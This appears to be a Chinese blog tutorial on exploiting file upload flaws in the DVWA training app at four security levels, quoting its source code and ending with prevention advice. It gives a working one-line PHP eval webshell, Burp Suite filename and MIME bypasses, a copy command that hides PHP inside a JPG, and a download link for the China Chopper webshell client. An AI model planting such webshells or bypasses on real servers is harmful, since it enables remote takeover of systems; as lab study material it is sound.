【工具-DVWA】DVWA渗透系列五：File Upload

前言

DVWA安装使用介绍，见：【工具-DVWA】DVWA的安装和使用

本渗透系列包含最新DVWA的14个渗透测试样例：

1.Brute Force(暴力破解)                    
2.Command Injection（命令注入）
3.CSRF(跨站请求伪造)                        
4.File Inclusion（文件包含）
5.File Upload（文件上传）                    
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection（SQL注入）                    
8.SQL Injection（Blind）（SQL盲注）
9.Weak Session IDs（有问题的会话ID）                
10.XSS(DOM)（DOM型xss）
11.XSS(ref)（反射型xss）                    
12.XSS(Stored)（存储型xss）
13.CSP Bypass（Content Security Policy内容安全策略，旁路/绕过）    
14.JavaScript

安全级别分低、中、高、安全四个级别来分析File Upload的渗透测试过程。

1 基础知识

• File Upload-文件上传漏洞

由于对上传文件的类型、内容、上传路径没有进行严格的过滤、检查，从而导致恶意文件进去服务器，或者导致服务器原本文件被覆盖。

• Webshell

以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。

• 中国菜刀

江湖传言，功夫再高也怕菜刀！只要往目标网站加入一句话木马,然后你在本地，通过中国菜刀即可获取和控制整个服务器目录。

下载地址：https://download.csdn.net/download/qqchaozai/11904276

2 Low

2.1 渗透测试

• 准备一句话Webshell：

 <?php @eval($_POST[china]);?>

• 上传Webshell：居然把上传路径地址也返回了，两个【../】得知，文件在网站跟路径的【hackable/uploads】下面

• 运行菜刀，右键添加Webshell访问地址【..one_ws.php】，访问关键字【china】，脚本类型【PHP】，编码【GB2312】

• 掌控服务器：可以增删改查，可以下载上传。

2.2 源码分析

分析：没有任何效验，还把网站路径返回给前端，但是它采用了basename函数，返回路径中的文件名部分，所以无法采用【../】来实现将文件上传到其他路径下。

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

3 Medium

3.1 渗透测试

• 按之前的步骤，上传webshell，发现：对文件格式做了限制，不需是JPEG或者PNG文件

• 将one_ws.php改名为one_ws.png，提交后，使用burpsuite拦截请求，重新把文件名修改为one_ws.php

• 再次上传成功

3.2 源码分析

分析：限制了上传类型必须是image/jpeg或image/png，同时限制了上传文件大小，避免大马的传输。

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
	( $uploaded_size < 100000 ) ) {

4 High

4.1 渗透测试

• 按Medium方式修改文件名的方式，发现返回错误
• 创建一个jpg文件，copy合并jpg文件和PHP文件

copy test.jpg/b+test.php/a testphp.jpg

• 上传成功

• 通过两种方式访问，发现全部失败

1、利用文件包含漏洞（可以当代码执行，为啥失败呢？）

2、直接访问jpg文件（无法把它当代码执行，必然失败）

• 细品之下，觉悟了，文件包含接口，只能在登陆情况下调用，OK，那就用菜刀登陆一下！点击上方的加号！

• OK，成功！

4.2 源码分析

新增了些图片验证手段：

1、验证了文件后缀，必须是jpg，jpeg，png（不区分大小写）；

2、用getimagesize() 来获取图像信息，如果不是图像返回False。

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
	( $uploaded_size < 100000 ) &&
	getimagesize( $uploaded_tmp ) ) {

5 Impossible

核心思想：将图片重新生成一次，把原本上传的文件进行销毁。当然，他还对文件名进行了md5加密，避免了用户在文件名上面做手脚。

$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
	$img = imagecreatefromjpeg( $uploaded_tmp );
	imagejpeg( $img, $temp_file, 100);
}
else {
	$img = imagecreatefrompng( $uploaded_tmp );
	imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

PS：后台把重新生成的图片文件打开看看，发现已经没有了代码的痕迹，文本格式变成二进制格式，完美。

6 总结

利用：

• 拦截请求修改上传文件名或者修改上传文件流格式
• copy将webshell与图片文件进行合并

预防：

• 上传文件，一定要对大小，内容进行严格效验，图片压缩包等。
• 采用白名单效验，以及对文件重构，是比较不错的方案

---

爱家人，爱生活，爱设计，爱编程，拥抱精彩人生！